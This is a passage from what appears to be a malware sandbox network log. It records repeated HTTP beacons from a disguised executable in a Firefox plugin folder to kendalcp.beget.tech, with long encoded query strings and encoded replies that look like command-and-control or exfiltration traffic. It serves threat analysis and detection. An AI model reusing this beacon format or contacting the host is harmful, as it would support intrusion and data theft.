Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech
Nov 7, 2024 21:12:44.500384092 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:12:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49754	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:12:49.516472101 CET	2161	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech
Nov 7, 2024 21:12:50.480412960 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:12:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49755	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:12:55.501142025 CET	2185	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:12:56.527420998 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:12:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49768	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:13:01.561423063 CET	2158	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=d1nIiojI5QzYhZWNwQ2YllTOyczNmJzNwUGZ2YDNhRDMxYWNxAjIsISMmNGOlBzNmNWYwMzNmJDN0QzYxQTZiZTZ0UzYiljM0UDNhdzNmlzNiojImZWZ4IWZ4ImZyUDOwEDNmV2NiFmZ3EDOkVWM0cDMwQjIsICN2QjNlJWZjVGN2IDNwUDNiBzNjNzN0YWO1QmNhZ2M1gTZycjMmhjNiojI5YGMxMGMmdjY1UjMiFTNhFDN3cDOiZTO0YWM3YzNkZjI7xSfikjVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMl2YtJGcChlWshnMVl2bqlkeWhEZoJ1MVVjUYFmMsdEZqZ0aJNXSplkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZ [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:13:03.320961952 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:13:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye
Nov 7, 2024 21:13:03.321609020 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:13:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye
Nov 7, 2024 21:13:03.321856976 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:13:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49803	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:13:08.328464031 CET	2185	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:13:09.306211948 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:13:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49838	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:13:14.328644991 CET	2161	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech
Nov 7, 2024 21:13:15.306252003 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:13:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49871	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:13:20.328977108 CET	2185	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:13:21.562598944 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:13:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49907	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:13:26.578684092 CET	2185	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2 [TRUNCATED] Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: kendalcp.beget.tech Connection: Keep-Alive
Nov 7, 2024 21:13:27.534663916 CET	349	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Thu, 07 Nov 2024 20:13:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/8.3.8 Data Raw: 3d 3d 51 66 39 4a 69 49 36 49 43 4e 33 49 7a 59 34 45 6d 59 77 59 44 4e 6c 46 6a 4d 6c 46 44 5a 7a 55 44 4e 6c 46 44 5a 31 6b 7a 4d 77 41 44 5a 34 63 6a 4d 33 49 79 65 36 49 43 4e 6a 56 54 4f 78 63 7a 59 33 49 44 4f 34 59 47 5a 34 41 6a 5a 6b 6c 6a 5a 78 45 6a 5a 68 68 54 59 68 46 6a 4d 35 51 6a 4d 77 49 79 65 Data Ascii: ==Qf9JiI6ICN3IzY4EmYwYDNlFjMlFDZzUDNlFDZ1kzMwADZ4cjM3Iye6ICNjVTOxczY3IDO4YGZ4AjZkljZxEjZhhTYhFjM5QjMwIye

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49942	5.101.153.173	80	5856	C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 21:13:32.549314022 CET	2161	OUT	GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcS